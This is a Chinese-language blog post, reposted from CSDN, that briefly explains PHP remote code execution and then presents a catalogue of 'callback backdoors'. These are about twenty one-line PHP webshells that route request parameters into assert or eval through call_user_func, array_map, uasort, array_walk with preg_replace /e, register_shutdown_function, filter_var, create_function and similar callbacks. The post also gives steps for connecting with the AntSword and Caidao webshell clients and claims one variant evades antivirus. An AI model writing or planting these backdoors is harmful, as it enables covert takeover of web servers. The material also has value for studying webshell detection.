欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > IT业 > RCE——回调后门

RCE——回调后门

2025/3/31 20:29:59 来源:https://blog.csdn.net/weixin_73921499/article/details/146571514  浏览:    关键词:RCE——回调后门

目录

rce简述

rce漏洞

rce漏洞产生分类

rce漏洞级别

创造tips的秘籍——回调后门

call_user_func

解析

如何执行后门

call_user_func_array

array_filter、array_map

解析

如何执行后门

php5.4.8+中的assert——二参数的回调函数

uasort

uksort

array_reduce()

array_udiff

三参数回调函数

无回显回调后门

单参数后门

其他参数型回调后门


rce简述

rce漏洞

rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

rce漏洞产生分类

命令执行漏洞:直接调用操作系统(Windows或Linux)命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。

代码执行漏洞:靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()、shell_exec()和passshru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。

eval() 函数eval() 是 PHP 中的一个内置函数,它接受一个字符串作为参数,并将该字符串作为 PHP 代码执行

assert() 函数assert() 是 PHP 中的一个内置函数,用于检查给定的表达式是否为 true,如果传递的表达式是字符串,assert() 会将其作为 PHP 代码执行

系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。

调用的第三方组件存在代码执行漏洞:例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。

rce漏洞级别

RCE漏洞通常被认为是高危漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。一旦出现RCE漏洞,攻击者可以获取服务器的命令执行权限,对服务器安全造成极大的影响。

创造tips的秘籍——回调后门

call_user_func

解析

assert在php7.4后的版本被废弃

call_user_func — 把第一个参数作为回调函数调用

$_REQUEST — HTTP Request 变量——默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组

$_REQUEST['pass'] 的值作为参数传递给 assert() 函数

 <?php call_user_func('assert',$_REQUEST['pass']);

等同于

 <?php assert($_REQUEST)
如何执行后门

$_REQUEST['pass'] 的值为 phpinfo();

代码变为:call_user_func('assert', 'phpinfo();')

GET连接 传递GET参数

是否可以给pass传递一个$_POST[123]

AntSword(蚁剑)连接密码处填写123

失败

POST连接 传递POST参数

pass

$_POST[123]

失败

POST连接 传递POST参数

测试添加eval

pass

eval($_POST[123])

成功

GET连接 传递GET参数

测试添加eval

?pass=eval($_POST[123])

call_user_func_array

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

 call_user_func_array('assert', array($_REQUEST['pass']));

array_filter、array_map

解析

array_filter — 使用回调函数过滤数组的元素

接受两个参数:第一个参数是要过滤的数组,第二个参数是回调函数

 <?php$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_filter($arr, base64_decode($e));

GET传参或POST传参——传递的回调函数选择assert,代码对传递的$e进行解码,传递的时候需要传递assert进行base64编码后的值

POST传参——传递一个参数pass,可以选择phpinfo();测试

array_map — 为数组的每个元素应用回调函数

接受两个参数:第一个参数是回调函数,第二个参数是要处理的数组

 <?php$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_map(base64_decode($e), $arr);
如何执行后门

php5.4.8+中的assert——二参数的回调函数

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

uasort

uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联

接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数

 <?php$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, base64_decode($e));

uksort

uksort() 是 PHP 的一个函数,用于使用用户定义的比较函数对数组的键进行排序。

接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。

 <?php$e = $_REQUEST['e'];$arr = array('test' => 1, $_REQUEST['pass'] => 2);uksort($arr, $e);

ArrayObject 是 PHP 的一个类,用于将数组封装为对象

uasort() 是 PHP 的一个函数,用于使用用户定义的比较函数对数组进行排序。

接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。

代码 $arr->uasort('assert'); 会将 assert 作为比较函数传递给 uasort()

uasort() 会将数组中的元素作为参数传递给 assert()

 <?php$arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert');
 <?php$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');
array_reduce()

array_reduce() 是 PHP 的一个函数,用于将数组中的元素通过回调函数依次处理,最终返回一个值。

它接受三个参数:

第一个参数是要处理的数组。

第二个参数是回调函数。

第三个参数是初始值(可选)

 <?php$e = $_REQUEST['e'];$arr = array(1);array_reduce($arr, $e, $_POST['pass']);
array_udiff

array_udiff() 是 PHP 的一个函数,用于计算数组的差集,并使用用户定义的比较函数进行比较。

它接受三个参数:

第一个参数是要比较的数组。

第二个参数是要比较的另一个数组。

第三个参数是用户定义的比较函数。

 <?php$e = $_REQUEST['e'];$arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。构造array_walk + preg_replace的回调后门:

array_walk() 是 PHP 的一个函数,用于对数组中的每个元素应用用户自定义的函数。

它接受三个参数:

  • 第一个参数是要处理的数组。

  • 第二个参数是用户自定义的函数。

  • 第三个参数是传递给用户自定义函数的额外数据(可选)。

preg_replace - 执行一个正则表达式的搜索和替换

 <?php$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');

无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

 <?phpob_start('assert');echo $_REQUEST['pass'];ob_end_flush();

可以写入

单参数后门

php全版本支持,不报不杀稳定执行

 <?php$e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['pass']);
 <?php$e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['pass']);
 <?phpfilter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

其他参数型回调后门

如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串

去“构造”一个满足条件的回调函数

怎么构造?使用create_function:

 <?phppreg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

接受一个数组,并将数组的第一个元素$arr[0]传入assert。

类似

 <?phpmb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词